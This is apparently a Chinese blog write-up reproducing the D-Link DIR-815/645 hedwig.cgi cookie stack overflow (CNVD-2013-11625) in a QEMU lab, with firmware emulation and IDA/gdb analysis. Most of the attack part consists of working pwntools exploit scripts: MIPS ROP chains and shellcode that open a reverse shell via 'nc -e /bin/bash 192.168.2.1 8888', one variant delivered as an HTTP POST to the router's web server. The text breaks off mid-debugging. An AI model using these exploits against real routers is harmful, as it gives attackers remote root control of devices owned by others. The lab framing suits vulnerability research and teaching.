CNVD-2013-11625复现
CNVD-2013-11625
参考文章:
漏洞信息
D-Link DIR-645
"post_login.xml"
,"hedwig.cgi"
,"authentication.cgi"
不正确过滤用户提交的参数数据,允许远程攻击者利用漏洞提交特制请求触发缓冲区溢出,可使应用程序停止响应,造成拒绝服务攻击。
2013 年,D-Link DIR-645 无线路由器被爆出存在缓冲区溢出漏洞,远程攻击者通过向该无线路由器的 "post_login.xml"
、"hedwig.cgi"
、"authentication.cgi"
等接口提交特制请求即可触发缓冲区溢出,可使应用程序停止响应,造成拒绝服务攻击,漏洞编号为 CNVD-2013-11625
后经安全研究员分析发现,该漏洞同时影响 D-LINK 的 DIR-815/300/600/645 型号路由器设备
漏洞详情:CNVD-2013-11625 | 国家信息安全漏洞共享平台
复现工具
名称 | 版本 |
---|---|
OS(宿主机) | Kali Linux 2024.1 |
QEMU | 8.2.1 |
binwalk | 2.3.3 |
GDB & gdbserver | 13.2 |
复现漏洞
QEMU 系统级复现
QEMU 系统级层面的漏洞复现需要我们通过 QEMU 虚拟机仿真路由器系统
环境搭建
注意:
对于固件处理和仿真的相关操作,这是本文的前置基础
如果对本文有任何疑问请先参考本站的《IOT环境搭建与固件分析》和《IOT固件仿真与gdbserver远程调试》这两篇文章
下载受影响的固件版本,这里以 D-LINK DIR-815 路由器为例:DIR-815A1_FW101SSB03.bin
首先使用 binwalk -Me
分离出文件系统:
binwalk -Me ./DIR-815A1_FW101SSB03.bin
注意:
需要提前安装
binwalk
的sasquatch
工具,否则提取出的squashfs-root
文件夹是空的关于
sasquatch
的安装以及相关报错的处理,见本站《IOT环境搭建与固件分析》一文
提取出路由器的文件系统:
通过 busybox
程序查看路由器架构:
首先下载 MIPS32 架构的 QEMU 内核和镜像文件:
也可以直接通过 wget
下载:
wget https://people.debian.org/~aurel32/qemu/mipsel/debian_squeeze_mipsel_standard.qcow2 https://people.debian.org/~aurel32/qemu/mipsel/vmlinux-3.2.0-4-4kc-malta
注意:
MIPS32 架构有 Debian Squeeze 和 Debian Wheezy 两种镜像:
- Squeeze 中的软件包和库通常比 Wheezy 中的旧,因此 Squeeze 适合运行需要特定旧版本库或依赖的应用程序
- Wheezy 适合需要更好的性能、更好的硬件支持或更新的软件包的场景
内核镜像文件
vmlinux
有4kc
和5kc
两种版本:4kc 为 32 位,5kc 为 64 位另外,与 ARM 架构不同,MIPS32 的仿真没有 RAM 磁盘映像文件
initrd.img
使用 qemu-system-mipsel
来启动 QEMU 虚拟机,命令如下:
sudo qemu-system-mipsel \
-M malta \
-kernel ./vmlinux-3.2.0-4-4kc-malta \
-hda ./debian_squeeze_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" \
-net nic \
-net tap,ifname=tap0,script=no,downscript=no \
-nographic
启动成功,账号密码都是 root
:
接下来配置虚拟网卡,在 Kali Linux 中创建一个 net.sh
脚本,并写入如下内容:
#!/bin/sh
sudo brctl addbr br0 # 添加一座名为 br0 的网桥
sudo ifconfig br0 192.168.2.3/24 up # 启用 br0 接口
sudo tunctl -t tap0 -u root # 创建一个只许 root 访问的 tap0 接口
sudo ifconfig tap0 192.168.2.1/24 up # 启用 tap0 接口
sudo brctl addif br0 tap0 # 在虚拟网桥中增加一个 tap0 接口
赋予执行权限并运行该脚本:(每次重启 Kali Linux 后都需要重新配置一次)
sudo chmod +x net.sh
./net.sh
在 QEMU 虚拟机中设置 ip 地址,注意与 tap0
在同一网段:(每次重启 QEMU 虚拟机后都需要重新配置一次)
(root@debian-mipsel) ifconfig eth0 192.168.2.2/24 up
配置后 QEMU 虚拟机的 ip 地址为 192.168.2.2
,测试一下能否与 Kali Linux 的 192.168.2.1
相互 ping 通:
将文件系统打包并通过 scp
命令上传到 QEMU 虚拟机:
tar -czvf DIR-815A1_FW101SSB03_rootfs.tar.gz squashfs-root
sudo scp DIR-815A1_FW101SSB03_rootfs.tar.gz root@192.168.2.2:~/
如果 scp
命令报错:
Unable to negotiate with 192.168.2.2 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss
scp: Connection closed
这表示 SSH 客户端和服务器之间没有匹配的主机密钥类型,通常是因为服务器只支持旧的
ssh-rsa
和ssh-dss
密钥类型,而 SSH 客户端配置不再接受这些类型的密钥
改用如下命令:
sudo scp -o HostKeyAlgorithms=+ssh-rsa DIR-815A1_FW101SSB03_rootfs.tar.gz root@192.168.2.2:~/
如果继续报错:
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that a host key has just been changed.
The fingerprint for the RSA key sent by the remote host is
SHA256:tVc2ekHlAJNyIu0Fo9rOvfudWIVfkMpa3FSLlDcGeVQ.
Please contact your system administrator.
Add correct host key in /root/.ssh/known_hosts to get rid of this message.
Offending ECDSA key in /root/.ssh/known_hosts:1
remove with:
ssh-keygen -f '/root/.ssh/known_hosts' -R '192.168.2.2'
Host key for 192.168.2.2 has changed and you have requested strict checking.
Host key verification failed.
scp: Connection closed
使用如下命令即可解决:
sudo ssh-keygen -R 192.168.2.2
在 QEMU 虚拟机中解压:
(root@debian-mipsel) tar -xzvf DIR-815A1_FW101SSB03_rootfs.tar.gz
进入到路由器文件系统的根目录,新建一个 HTTP 服务的配置文件 http_conf
:
cd squashfs-root
# 因为 QEMU 虚拟机中没有 vi 和 vim 等,但可以使用 nano,这里以 cat 作为示例,cat > 命令使用 ctrl + D 保存并退出
cat > http_conf
写入如下内容:
Umask 026
PIDFile /var/run/httpd.pid
LogGMT On # 开启 log
ErrorLog /log # log 文件
Tuning {
NumConnections 15
BufSize 12288
InputBufSize 4096
ScriptBufSize 4096
NumHeaders 100
Timeout 60
ScriptTimeout 60
}
Control {
Types {
text/html { html htm }
text/xml { xml }
text/plain { txt }
image/gif { gif }
image/jpeg { jpg }
text/css { css }
application/octet-stream { * }
}
Specials {
Dump { /dump }
CGI { cgi }
Imagemap { map }
Redirect { url }
}
External {
/usr/sbin/phpcgi { php }
}
}
Server {
ServerName "Linux, HTTP/1.1, "
ServerId "1234"
Family inet
Interface eth0 # 网卡
Address 192.168.2.2 # qemu 的 ip 地址
Port "4321" # 对应 web 访问端口
Virtual {
AnyHost
Control {
Alias /
Location /htdocs/web
IndexNames { index.php }
External {
/usr/sbin/phpcgi { router_info.xml }
/usr/sbin/phpcgi { post_login.xml }
}
}
Control {
Alias /HNAP1
Location /htdocs/HNAP1
External {
/usr/sbin/hnap { hnap }
}
IndexNames { index.hnap }
}
}
}
在 Kali Linux 物理机中新建一个脚本 forwarding.sh
,用于开启物理机的网络地址转换(NAT)和 IP 转发(防止后续在 init.sh
脚本中启动 httpd
服务时出现问题),写入如下内容:
#!/bin/sh
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -F
sudo iptables -X
sudo iptables -t nat -F
sudo iptables -t nat -X
sudo iptables -t mangle -F
sudo iptables -t mangle -X
sudo iptables -P INPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo iptables -P OUTPUT ACCEPT
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT
sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT
在 Kali Linux 中执行该脚本:
sudo chmod +x forwarding.sh
./forwarding.sh
紧接着,在路由器文件系统的根目录下,继续新建一个 init.sh
脚本:
cd squashfs-root
# 因为 QEMU 虚拟机中没有 vi 和 vim 等,但可以使用 nano,这里以 cat 作为示例,cat > 命令使用 ctrl + D 保存并退出
cat > init.sh
写入如下内容:
#!/bin/bash
# 由于真机不存在地址随机化,因此这里关闭地址随机化
echo 0 > /proc/sys/kernel/randomize_va_space
# 复制配置和二进制文件
cp http_conf /
cp sbin/httpd /
cp -rf htdocs/ /
# 备份 /etc,防止后续操作改变 /etc 文件夹中的内容导致下一次启动 QEMU 虚拟机出现问题
mkdir /etc_bak
cp -r /etc /etc_bak
rm /etc/services
cp -rf etc/ /
# 复制必要的库
cp lib/ld-uClibc-0.9.30.1.so /lib/
cp lib/libcrypt-0.9.30.1.so /lib/
cp lib/libc.so.0 /lib/
cp lib/libgcc_s.so.1 /lib/
cp lib/ld-uClibc.so.0 /lib/
cp lib/libcrypt.so.0 /lib/
cp lib/libgcc_s.so /lib/
cp lib/libuClibc-0.9.30.1.so /lib/
# 删除旧的 CGI 脚本
cd /
rm -rf /htdocs/web/hedwig.cgi
rm -rf /usr/sbin/phpcgi
rm -rf /usr/sbin/hnap
# 创建符号链接
ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi
ln -s /htdocs/cgibin /usr/sbin/phpcgi
ln -s /htdocs/cgibin /usr/sbin/hnap
# 根据前面配置的 http_conf 文件,启动 HTTP 服务
./httpd -f http_conf
赋予 init.sh
执行权限,并运行:
chmod +x init.sh
./init.sh
访问 http://192.168.2.2:4321/hedwig.cgi
,确认 HTTP 服务已经开启:
直接浏览器访问提示不支持的 HTTP 请求:"unsupported HTTP request"
最后,在退出 QEMU 虚拟机之前,记得先创建一个 fin.sh
脚本:
cd squashfs-root
cat > fin.sh
写入如下内容:
#!/bin/bash
rm -rf /etc
mv /etc_bak/etc /etc
rm -rf /etc_bak
每次退出 QEMU 虚拟机器之前,都执行一下 fin.sh
脚本,恢复刚刚 init.sh
脚本中更改过的 /etc
文件夹,避免下一次启动 QEMU 时出现问题:
chmod +x fin.sh
./fin.sh
漏洞分析
在路由器文件系统中找到漏洞文件 hedwig.cgi
:
find ./ -name hedwig.cgi
发现 hedwig.cgi
是一个软链接,指向 cgibin
文件
在 IDA 下分析 cgibin
文件:
定位到漏洞模块 hedwigcgi_main()
:
可以看到我们刚刚访问 http://192.168.2.2:4321/hedwig.cgi
时的报错内容:"unsupported HTTP request"
分析可知,其会读取并判断环境变量 REQUEST_METHOD
是否为 POST,因此只支持 POST 请求方式,刚刚通过浏览器访问是 GET 方式,所以报错
接下来会执行 cgibin_parse_request(sub_409A6C, 0, 0x20000)
:
这个函数使用到了 3 个环境变量:CONTENT_TYPE
、CONTENT_LENGTH
、REQUEST_URI
,所以后面这三个环境变量我们是必须要设置的
总的来说,cgibin_parse_request()
函数主要是对 URL 进行分析和处理,这里分析一下:
这里定位到 URL 中第一个 '?'
所在的位置,对字符串进行分割,并将 '?'
后的内容和长度传入 sub_402B40()
函数进行处理:
这里会再次对字符串以 '&'
和 '='
进行分割,即 URL 格式大致为:aaa?bbb=ccc&ddd
hedwigcgi_main()
中再往下走到 sess_get_uid(v4)
sess_get_uid()
函数用于从 HTTP 请求的 Cookie 中提取用户的 uid
。如果没有找到 uid
,则返回用户的远程地址:
其判断 uid
的逻辑为:以 '='
作为分隔,'='
前面的内容存入 v2
,'='
后面的内容存入 v4
,假设原字符串为 uid=xxx
,如果 v2 == 'uid'
,则 v4 == 'xxx'
就是 uid
数据
最后将 v4
中的 uid
数据赋值给变量 string
,最后将其写入 a1
,也就是该函数的形参
重点在下面:
前面 sess_get_uid()
函数会将 uid
写入形参,因此 v4
的值就是 uid
也就是说,sprintf(v27, "%s/%s/postxml", "/runtime/session", string)
中的 string
就是 uid
,而这个 uid
是用户可以控制的
v27
是一个长度为 1024 的字符数组,明显是可以被人为输入的 uid
溢出的:
在后面还有一个类似的 sprintf()
:
由于 v4
没有被修改过,因此这里的 v20
同样是 uid
,v27
同样可以被溢出
因此我们可以利用这里覆盖上一次 sprintf()
的内容
但是要想执行两次 sprintf()
需要满足两个条件判断:
- 第一个是需要存在
/var/tmp/
路径,其会创建一个temp.xml
文件并写入数据 - 另一个是要求
haystack
非空
首先, /var/tmp/
路径在真实的路由器上是存在的,但是我们仿真的系统里没有:
因此为了更真实地模拟环境,我们需要在仿真的系统里自己创建 /var/tmp
文件夹:
关于 haystack
,通过交叉引用(IDA 快捷键为 X),发现 haystack
在此之前只有 sub_409A6C()
函数进行过修改,也就是 cgibin_parse_request((int)sub_409A6C, 0, 0x20000u)
的第一个参数:
cgibin_parse_request()
函数在这里才调用了 sub_409A6C()
函数(作为形参 a1
):
off_42C014
处存放的是 "application/"
数据,这是在处理 HTTP 请求时用到的 MIME 类型字符串的一部分:
因此这里是对 POST
内容的读入
要想读入 POST
,就必须先满足 v9 != -1
的 if
判断,而 v9
初值就是 -1
,因此需要走中间的 if
分支使 v9 = 0
,同时也必须保证环境变量 REQUEST_URI
不为空:
接下来就是确定 uid
溢出到栈上的返回地址所需要的字节数了,以及 libc 的基地址
为了使用 gdbserver 进行远程调试,首先交叉编译一个 gdbserver
这一块如果不熟悉的话,详见本站的《IOT固件仿真与gdbserver远程调试》一文的《IOT 远程调试》部分
由于我本地是 Kali Linux 2024.1 自带 GDB v13.2,因此选择 GDB v13.2 的源码,编译出 mipsel
架构的 gdbserver:(我这里已经提前编译好了,就不再详细说明了)
将其上传到路由器文件系统的根目录下,并增加执行权限:
sudo scp -r gdbserver root@192.168.2.2:~/squashfs-root
chmod +x gdbserver
在路由器文件系统的根目录下,新建一个 run.sh
脚本:
#!/bin/bash
export CONTENT_LENGTH="11"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE="uid=`cat payload`"
export REQUEST_METHOD="POST"
export REQUEST_URI="2333"
echo "winmt=pwner" | ./gdbserver 127.0.0.1:6666 /htdocs/web/hedwig.cgi
# echo "winmt=pwner" | /htdocs/web/hedwig.cgi
unset CONTENT_LENGTH
unset CONTENT_TYPE
unset HTTP_COOKIE
unset REQUEST_METHOD
unset REQUEST_URI
增加执行权限后运行 run.sh
:
chmod +x run.sh
./run.sh
然后宿主机通过 mipsel-linux-gnu-gdb
远程连接:(由于我用的 gdbserver 就是 GDB v13.2 的源码编译来的,因此直接使用 gdb-multiarch
远程连接也是一样的)
./mipsel-linux-gnu-gdb
(mipsel-linux-gnu-gdb) target remote 192.168.2.2:6666
连接成功:
我们主要是获得 libc 基地址,由于 cgibin
程序没有开启 PIE:
直接使用 vmmap
就可以获得基地址:
# 下断点,让程序运行到 main() 函数
(mipsel-linux-gnu-gdb) b main
(mipsel-linux-gnu-gdb) c
(mipsel-linux-gnu-gdb) vmmap
获得 libc 基地址为:0x77f34000
接下来还需要找出栈溢出的长度,这里直接通过 cyclic
来尝试,首先生成 2000 个字符然后写入 payload
中:
cyclic 2000 > payload
然后将 paylaod
文件上传到路由器文件系统的根目录
退出宿主机的 GDB 调试,重新运行 run.sh
,通过 cat payload
将我们的 payload
的内容读到 uid=
后面,然后 GDB 重新连接调试程序:
没有显示刚刚出现的 "cat: payload: No such file or directory"
就说明 payload
读取成功了
由于溢出发生在 hedwigcgi_main()
函数,我们直接把断点打在 hedwigcgi_main()
函数结束的地方,通过观察返回地址来确定栈溢出的长度:
可以看到 hedwigcgi_main()
函数结束后跳转的地址是 0x646b6161
,通过 cyclic -l
获得偏移为 1009
关于 MIPS 架构下的 ROP 构造我不是很熟悉。。。所以暂时不做过多解释,等我深入研究之后再做总结归纳吧
先参考一下 winmt 对 MIPS 的 ROP 构造这一块儿的讲解:[原创] 从零开始复现 DIR-815 栈溢出漏洞-二进制漏洞-看雪-安全社区|安全招聘|kanxue.com
法一:向 QEMU 虚拟机上传 payload
这种方式我们直接将 payload 写入文件,然后上传到 QEMU 虚拟机,通过设置环境变量来读取 payload 作为
uid
,从而触发漏洞反弹 shell
poc 如下:
- 纯 ROP 链,即构造
system("/bin/sh")
来 getshell
from pwn import *
context(os = 'linux', arch = 'mips', log_level = 'debug')
cmd = b'nc -e /bin/bash 192.168.2.1 8888' # 反弹 shell
libc_base = 0x77f34000
payload = b'a'*0x3cd
payload += p32(libc_base + 0x53200 - 1) # s0 system_addr - 1
payload += p32(libc_base + 0x169C4) # s1 addiu $s2, $sp, 0x18 (=> jalr $s0)
payload += b'a'*(4*7)
payload += p32(libc_base + 0x32A98) # ra addiu $s0, 1 (=> jalr $s1)
payload += b'a'*0x18
payload += cmd
fd = open("payload", "wb")
fd.write(payload)
fd.close()
- 通过 shellcode 来 getshell(由于 MIPS 架构是无法开启 NX 保护的,因此可以使用
ret2shellcode
,但需要注意shellcode
中不能存在b'\x00'
等字符防止导致sprintf
被截断)
from pwn import *
context(os = 'linux', arch = 'mips', log_level = 'debug')
libc_base = 0x77f34000
payload = b'a'*0x3cd
payload += b'a'*4
payload += p32(libc_base + 0x436D0) # s1 move $t9, $s3 (=> lw... => jalr $t9)
payload += b'a'*4
payload += p32(libc_base + 0x56BD0) # s3 sleep
payload += b'a'*(4*5)
payload += p32(libc_base + 0x57E50) # ra li $a0, 1 (=> jalr $s1)
payload += b'a'*0x18
payload += b'a'*(4*4)
payload += p32(libc_base + 0x37E6C) # s4 move $t9, $a1 (=> jalr $t9)
payload += p32(libc_base + 0x3B974) # ra addiu $a1, $sp, 0x18 (=> jalr $s4)
shellcode = asm('''
slti $a0, $zero, 0xFFFF
li $v0, 4006
syscall 0x42424
slti $a0, $zero, 0x1111
li $v0, 4006
syscall 0x42424
li $t4, 0xFFFFFFFD
not $a0, $t4
li $v0, 4006
syscall 0x42424
li $t4, 0xFFFFFFFD
not $a0, $t4
not $a1, $t4
slti $a2, $zero, 0xFFFF
li $v0, 4183
syscall 0x42424
andi $a0, $v0, 0xFFFF
li $v0, 4041
syscall 0x42424
li $v0, 4041
syscall 0x42424
lui $a1, 0xB821 # Port: 8888
ori $a1, 0xFF01
addi $a1, $a1, 0x0101
sw $a1, -8($sp)
li $a1, 0x0102A8C0 # IP: 192.168.2.1
sw $a1, -4($sp)
addi $a1, $sp, -8
li $t4, 0xFFFFFFEF
not $a2, $t4
li $v0, 4170
syscall 0x42424
lui $t0, 0x6962
ori $t0, $t0,0x2f2f
sw $t0, -20($sp)
lui $t0, 0x6873
ori $t0, 0x2f6e
sw $t0, -16($sp)
slti $a3, $zero, 0xFFFF
sw $a3, -12($sp)
sw $a3, -4($sp)
addi $a0, $sp, -20
addi $t0, $sp, -20
sw $t0, -8($sp)
addi $a1, $sp, -8
addiu $sp, $sp, -20
slti $a2, $zero, 0xFFFF
li $v0, 4011
syscall 0x42424
''')
payload += b'a'*0x18
payload += shellcode
fd = open("payload", "wb")
fd.write(payload)
fd.close()
这两个 poc 都设置了反弹 shell,反弹的 IP 地址为宿主机 192.168.2.1,端口号为 8888
为了接收反弹 shell,首先在宿主机开启一个监听:
nc -lvnp 8888
从上面两个 poc 脚本之中选择一个,在宿主机上写入 poc.py
,然后执行 poc.py
生成 payload
我这里以第一个 poc 为例:
将这个新生成的 payload 文件上传到 QEMU 虚拟机的路由器文件系统根目录下,替换掉前面用来测试溢出的 payload 文件
然后修改一下 run.sh
中的启动命令,因为我们现在不需要 gdbserver 调试了,直接启动 hedwig.cgi
即可:
#!/bin/bash
export CONTENT_LENGTH="11"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE="uid=`cat payload`"
export REQUEST_METHOD="POST"
export REQUEST_URI="2333"
# echo "winmt=pwner" | ./gdbserver 127.0.0.1:6666 /htdocs/web/hedwig.cgi
echo "winmt=pwner" | /htdocs/web/hedwig.cgi
unset CONTENT_LENGTH
unset CONTENT_TYPE
unset HTTP_COOKIE
unset REQUEST_METHOD
unset REQUEST_URI
在 QEMU 虚拟机中运行 run.sh
,然后宿主机上会显示已连接,并且可以正常使用 shell 命令查看路由器系统中的内容:
而且我们是 root 权限用户,可以任意向路由器系统写入文件:
到此为止,漏洞复现成功!
法二:向 httpd 服务发送 HTTP 报文
这种方式就需要用到前面开启的 HTTP 服务了,我们直接以 HTTP 报文的形式发送 payload
我们前面在 http_conf
中配置了如下内容来启动 httpd
服务:
Server {
ServerName "Linux, HTTP/1.1, " # 服务器的名称和协议
ServerId "1234" # 服务器的标识符
Family inet # 使用的协议族,这里是 IPv4
Interface eth0 # 绑定的网络接口,这里是网卡 eth0
Address 192.168.2.2 # qemu 的 ip 地址
Port "4321" # 对应 web 访问端口,服务器监听端口
于是直接向 192.168.2.2:4321 发送 HTTP 报文
poc 如下:
- 纯 ROP 链,即构造
system("/bin/sh")
来 getshell
from pwn import *
import requests
context(os='linux', arch='mips', log_level='debug')
cmd = b'nc -e /bin/bash 192.168.2.1 8888' # 反弹 shell
libc_base = 0x77f34000
# 创建 payload
payload = b'a' * 0x3cd
payload += p32(libc_base + 0x53200 - 1) # s0 system_addr - 1
payload += p32(libc_base + 0x169C4) # s1 addiu $s2, $sp, 0x18 (=> jalr $s0)
payload += b'a' * (4 * 7)
payload += p32(libc_base + 0x32A98) # ra addiu $s0, 1 (=> jalr $s1)
payload += b'a' * 0x18
payload += cmd
# 定义目标 URL 和数据
url = "http://192.168.2.2:4321/hedwig.cgi"
data = {"winmt": "pwner"}
# 定义请求头
headers = {
"Cookie": b"uid=" + payload,
"Content-Type": "application/x-www-form-urlencoded",
"Content-Length": "11"
}
# 发送 POST 请求
res = requests.post(url=url, headers=headers, data=data)
# 打印响应
print(res)
- 通过 shellcode 来 getshell(由于 MIPS 架构是无法开启 NX 保护的,因此可以使用
ret2shellcode
,但需要注意shellcode
中不能存在\x00
等字符防止导致sprintf
被截断)
from pwn import *
import requests
context(os = 'linux', arch = 'mips', log_level = 'debug')
libc_base = 0x77f34000
payload = b'a'*0x3cd
payload += b'a'*4
payload += p32(libc_base + 0x436D0) # s1 move $t9, $s3 (=> lw... => jalr $t9)
payload += b'a'*4
payload += p32(libc_base + 0x56BD0) # s3 sleep
payload += b'a'*(4*5)
payload += p32(libc_base + 0x57E50) # ra li $a0, 1 (=> jalr $s1)
payload += b'a'*0x18
payload += b'a'*(4*4)
payload += p32(libc_base + 0x37E6C) # s4 move $t9, $a1 (=> jalr $t9)
payload += p32(libc_base + 0x3B974) # ra addiu $a1, $sp, 0x18 (=> jalr $s4)
shellcode = asm('''
slti $a0, $zero, 0xFFFF
li $v0, 4006
syscall 0x42424
slti $a0, $zero, 0x1111
li $v0, 4006
syscall 0x42424
li $t4, 0xFFFFFFFD
not $a0, $t4
li $v0, 4006
syscall 0x42424
li $t4, 0xFFFFFFFD
not $a0, $t4
not $a1, $t4
slti $a2, $zero, 0xFFFF
li $v0, 4183
syscall 0x42424
andi $a0, $v0, 0xFFFF
li $v0, 4041
syscall 0x42424
li $v0, 4041
syscall 0x42424
lui $a1, 0xB821 # Port: 8888
ori $a1, 0xFF01
addi $a1, $a1, 0x0101
sw $a1, -8($sp)
li $a1, 0x0102A8C0 # IP: 192.168.2.1
sw $a1, -4($sp)
addi $a1, $sp, -8
li $t4, 0xFFFFFFEF
not $a2, $t4
li $v0, 4170
syscall 0x42424
lui $t0, 0x6962
ori $t0, $t0,0x2f2f
sw $t0, -20($sp)
lui $t0, 0x6873
ori $t0, 0x2f6e
sw $t0, -16($sp)
slti $a3, $zero, 0xFFFF
sw $a3, -12($sp)
sw $a3, -4($sp)
addi $a0, $sp, -20
addi $t0, $sp, -20
sw $t0, -8($sp)
addi $a1, $sp, -8
addiu $sp, $sp, -20
slti $a2, $zero, 0xFFFF
li $v0, 4011
syscall 0x42424
''')
payload += b'a'*0x18
payload += shellcode
# 定义目标 URL 和数据
url = "http://192.168.2.2:4321/hedwig.cgi"
data = {"winmt" : "pwner"}
# 定义请求头
headers = {
"Cookie" : b"uid=" + payload,
"Content-Type" : "application/x-www-form-urlencoded",
"Content-Length": "11"
}
# 发送 POST 请求
res = requests.post(url = url, headers = headers, data = data)
# 打印响应
print(res)
这两个 poc 都设置了反弹 shell,反弹的 IP 地址为宿主机 192.168.2.1,端口号为 8888
为了接收反弹 shell,首先在宿主机开启一个监听:
nc -lvnp 8888
从上面两个 poc 脚本之中选择一个,我这里以第一个 poc 为例:
可以看到反弹 shell 初始目录位于 /htdocs/web
,我们仍然是 root 权限用户
到此为止,漏洞复现成功!
QEMU 用户级复现
QEMU 用户级层面的漏洞复现不需要进行仿真,但相比之下,需要进行仿真的系统级复现更加直观、更符合现实场景,这里主要是介绍 QEMU 用户级层面的漏洞复现方式
漏洞分析
首先打开宿主机的路由器文件系统根目录
生成 2000 个字符的 payload 文件,用来测试 uid
溢出到栈上返回地址所需的字节数:
cyclic 2000 > payload
创建以下 run.sh
脚本,通过 QEMU 用户模式启动 /htdocs/cgibin
程序:
#!/bin/bash
INPUT="winmt=pwner"
LEN=$(echo -n "$INPUT" | wc -c)
cookie="uid=`cat payload`"
echo $INPUT | qemu-mipsel-static -L ./ -0 "hedwig.cgi" -E REQUEST_METHOD="POST" -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E HTTP_COOKIE=$cookie -E REQUEST_URI="2333" -g 1234 ./htdocs/cgibin
这里通过 -g 1234
在 1234 端口开启了 gdbserver 监听,cat payload
可以将 payload
文件中的内容读到 uid=
之后,echo $INPUT |
可以做到 POST 的效果,-0
就是 argv[0]
,-E
是设置环境变量
然后执行 run.sh
:
可以看到本机开启了 1234 端口:
然后使用本机的 gdb-multiarch
连接 gdbserver:
gdb-multiarch
(gdb-multiarch) set architecture mips
(gdb-multiarch) target remote 127.0.0.1:1234
但是发现 QEMU 用户模式连上 pwndbg 时,vmmap
无法看到 libc 的基地址:(libc 直接不显示,而是显示 <explored>
)
(gdb-multiarch) b main
(gdb-multiarch) c
(gdb-multiarch) vmmap
因此利用 Linux 的延迟绑定机制,当一个函数在第二次及以后被调用的时候,就会直接跳转到其相应的 libc
地址(真实地址)
如果对延迟绑定这一块不太了解,详见本站的《PLT表和GOT表》一文
我们在 IDA 下找两次跳转到同一个 libc 函数的地方,例如 hedwigcgi_main()
函数中:
然后把 GDB 断点设置在这里:
(gdb-multiarch) b *0x4094C8
(gdb-multiarch) c
(gdb-multiarch) b *0x4094E4
(gdb-multiarch) c
获得 memset()
函数的真实地址为:0x2b333a20
在路由器文件系统的 /lib
文件夹内,找到其所使用的 libc 文件:libc.so.0
利用 objdump
查找 memset()
函数的偏移地址:
objdump -T ./libc.so.0 | grep memset
获得 memset()
函数的 libc 偏移为:0x34a20
则 libc 基地址为:0x2b333a20 - 0x34a20 = 0x2b2ff000
(如果计算结果最后三位不是 000
的话,那就说明算错了)
接下来就是 GDB 执行到 hedwigcgi_main()
函数结束将要返回的地方,观察返回地址来确定溢出的长度:
不过我们 GDB 现在就是处在 hedwigcgi_main()
函数中,因此也可以直接运行到当前函数退出:
(gdb-multiarch) finish
显示返回地址 0x646b6161
不合法,cyclic -l
得到溢出到返回地址的长度为 1009
向用户态 QEMU 传递 payload 参数
由于 QEMU 用户级复现不需要仿真,我们只需要用
qemu-mipsel-static
运行/htdocs/cgibin
程序,然后将 payload 作为参数传递
poc 如下:
- 纯 ROP 链,即构造
system("/bin/sh")
来 getshell
from pwn import *
context(os = 'linux', arch = 'mips', log_level = 'debug')
libc_base = 0x2b2ff000 # 根据自己调试的基地址来更改
payload = b'a'*0x3cd
payload += p32(libc_base + 0x53200 - 1) # s0 system_addr - 1
payload += p32(libc_base + 0x159F4) # s1 move $t9, $s0 (=> jalr $t9)
payload += b'a'*4
payload += p32(libc_base + 0x6DFD0) # s3 /bin/sh
payload += b'a'*(4*2)
payload += p32(libc_base + 0x32A98) # s6 addiu $s0, 1 (=> jalr $s1)
payload += b'a'*(4*2)
payload += p32(libc_base + 0x13F8C) # ra move $a0, $s3 (=> jalr $s6)
payload = b"uid=" + payload
post_content = "winmt=pwner"
io = process(b"""
qemu-mipsel-static -L ./ \
-0 "hedwig.cgi" \
-E REQUEST_METHOD="POST" \
-E CONTENT_LENGTH=11 \
-E CONTENT_TYPE="application/x-www-form-urlencoded" \
-E HTTP_COOKIE=\"""" + payload + b"""\" \
-E REQUEST_URI="2333" \
./htdocs/cgibin
""", shell = True)
io.send(post_content)
io.interactive()
这个 poc 是 winmt 大佬提供的,但是实测是打不通的:
这里 winmt 大佬本人也说是打不通的
说是这个脚本的
ROP
链构造没什么问题,但是在用户模式下是打不通的,因为system()
函数中有调用fork()
函数,而 QEMU 用户模式是不支持多线程的,这里fork()
的失败,会导致后面$fp
是个空指针,就会出错,在系统模式打就不会出问题后来,我解决了这个 poc 无法 getshell 的问题,我发现问题在于
b'/bin/sh'
的偏移地址错误,当然 winmt 大佬的问题可能与 QEMU 版本有关,因为 winmt 大佬使用的是qemu-mipsel
而我的是qemu-mipsel-static
,同时我和 winmt 的 libc 基地址也是不一样的
调试一下,将 poc.py
的启动命令加上 -g 1234
:
io = process(b"""
qemu-mipsel-static -L ./ \
-0 "hedwig.cgi" \
-E REQUEST_METHOD="POST" \
-E CONTENT_LENGTH=11 \
-E CONTENT_TYPE="application/x-www-form-urlencoded" \
-E HTTP_COOKIE=\"""" + payload + b"""\" \
-E REQUEST_URI="2333" \
-g 1234 \
./htdocs/cgibin
""", shell = True)
GDB 连接后,我们直接进到漏洞函数 hedwigcgi_main()
中:
gdb-multiarch
(gdb-multiarch) set architecture mips
(gdb-multiarch) target remote 127.0.0.1:1234
(gdb-multiarch) b *0x409480
(gdb-multiarch) c
然后一路 ni
检查,发现前面都没有问题,最后 GDB 卡在这个地方:
报了一个警告,并且无法再继续调试:
warning: GDB can't find the start of the function at 0x2b312f8b.
GDB is unable to find the start of the function at 0x2b312f8b
and thus can't determine the size of that function's stack frame.
This means that GDB may be unable to access that stack frame, or
the frames below it.
This problem is most likely caused by an invalid program counter or
stack pointer.
However, if you think GDB should simply search farther back
from 0x2b312f8b for code which looks like the beginning of a
function, you can increase the range of the search using the `set
heuristic-fence-post' command.
但是考虑到我们 ni
单步调试的时候,前面两个 sprintf()
函数的执行都是没有问题的,这就有点奇怪
